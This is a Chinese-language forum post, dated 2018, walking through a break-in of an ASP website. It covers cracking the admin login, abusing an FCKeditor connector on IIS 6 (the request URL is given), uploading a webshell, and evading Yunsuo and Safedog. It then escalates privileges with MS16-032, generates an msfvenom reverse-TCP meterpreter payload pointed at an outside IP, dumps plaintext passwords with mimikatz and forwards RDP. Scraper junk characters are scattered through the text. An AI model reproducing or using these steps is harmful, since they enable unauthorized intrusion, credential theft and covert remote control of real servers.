|
4 U. k, A5 K& Z 5 O r' n7 l; z! k
9 i- l ?; U3 c
" I2 f! f, i; N* o2 i1 g$ f+ ? |
0 L% d& d7 G: F7 { 5 q9 X0 y. Z" c* V; v
5 n+ _# w/ x% q9 o8 g+ o) t一、 利用getwebshell篇
$ k6 h j) j$ K1 p9 l1 E6 W
2 ?4 [& h7 ?' p/ i4 l# N
首先对目标站进行扫描，发现是asp的，直接扫出网站后台和默认数据库，下载解密登陆如图：
& `' p9 v, k% b" c# {
* M( v, N: g; u& \
d" i, O' a* V( w下面进后台发现有fckeditor，而且还是iis6.0的，可以考虑创建个asp目录来构造解析（fck编辑器路径被改成别的需要burpsuite抓包的时候看到）
+ M' f! M3 Q1 F1 t9 l/ f
) Y) z3 I3 K7 E2 v! I
下面我们构造一个asp目录，如： ; y8 \$ h4 T) m# d- s/ S( I+ n {
6 Q% K+ }4 p3 [1 `
- t( [& p8 [* I http://www.xxoo.com/manage/hscxeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975 1 c! @0 D2 Q0 K% m
. X1 t4 t- @/ k% f ]7 R( Y
0 ] V) [$ q' p3 S; b 然后再给shell.asp目录上传一个jpg图片格式的一句话，然后用hatchet打开，然后看了一下支持aspx，那么我们就用包含的办法先把aspx后缀名改成.rar，然后再创建个111.ASPx，里面包含rar文件，进去以后看进程有云锁和安全狗，那么，那么我们慢慢来，慢慢来。
2 P" S1 b0 {! r p. n& m8 [4 h# N# p
: {% t) F( V7 r5 P: H! V一、 绕过安全狗云锁提权并且加账号
" T0 h% G/ N4 x/ j% U, k) O
$ d( T- |& S3 ? [5 w0 |没法看系统信息，但是根据网站404页面可以断定是2003服务器，然后接着访问C:\Program Files (x86)存在断定是2003 64位系统，那么我们说干就干，我们上传ms16-032 64位直接干，但是发现上传exe或者别的格式exp会自动消失，看进程也没杀毒呀，没错没杀毒，是云锁有个功能防御了，那么突破云锁上传的方法就是利用rar，先把exp打包为64.rar上传，然后我们翻一下rar在哪个目录，在C:\Program Files (x86)，然后开干
. l( A7 D+ {; \- e
* `2 d1 L- H+ D4 {如图：
- Q: {9 ^0 R+ f: r( q
% h* W# H1 J/ U7 |/ \ Z8 t, P
然后执行直接是system权限,然后我用干狗神器给加了一个账号用tunna反弹3968提示不是远程组，我操后来也想着用getpassword64抓明文密码，但是一执行就卡死，没办法想到了metasploit
$ @- w& H5 h* Z4 Q" G. ~
Z: M% d$ _' c2 U一、 利用metasploit
- |6 d+ a. L' a4 ^" j6 C
7 T" q! z4 I& e8 g
首先用pentestbox生成一个64位的payload如下命令
+ a0 m. {6 X( Z, ^( \5 z
$ o3 E+ T r+ R# n8 p5 {
msfVENOM -p windows/x64meterpreter/reverse_tcp lhost=42.51.1.1 lport=443 -f exe > c:\mata.exe
4 W5 W/ |$ j4 c3 a0 n9 O
, B" k- @& J5 f$ Y为什么要用443端口，之前我测试用别的端口直接被墙了没法上线，下面我们在system下执行这个mata，上线如图：
2 J; Z$ x, y; n" }, u
& k/ S" h& h) l9 i4 y下面我们用这个命令抓一下明文密码命令1：use mimikatz 命令2：kerberos如下图：
2 U# c4 \& X3 f8 u
# Z8 K& k) K9 \$ @, V A* E; [) C下面我们来做一个监听如下命令：
7 C. w# f; n5 q# }
# P) d" _$ j# ~1 dportfwd add -l 6655 -p 3968 -r 127.0.0.1，这个命令的意思就是把目标服务器的远程3968转发到pentestbox的公网IP的6655端口如图：
; j7 q, g2 J7 A( D3 q/ X5 _
; S. C$ g. ]8 H6 t% z
. O1 [1 W& ^, O" | | * E$ A) p' j1 t7 a/ r( h
7 n5 k8 C- l" r0 f' |/ [2 d2 @- ^
$ M* U0 }2 X0 |; U
$ K h$ g3 r+ Q& @1 s- |/ T
0 g o3 j8 ~2 B3 s, n C' S) ^5 Z2 {6 T- V, d) {
/ Q- K( z2 V2 y' C: H7 r
. Z: S; D" F3 d" E4 |1 t
3 _6 L- i; z4 ^$ g" I. O% S) d5 M
' P6 u n9 }0 w
; }) W+ X; q0 \) w3 ]
( w- w2 T" {- f1 r% n0 C/ G0 V
) j# r# C F$ T5 O6 a. ]- d
0 O$ \. T9 H& U; \0 b. R! u! _$ Q | 
发表于 2018-10-20 20:31:43
收藏
支持
反对
匿名
发表于 2021-11-20 23:30:06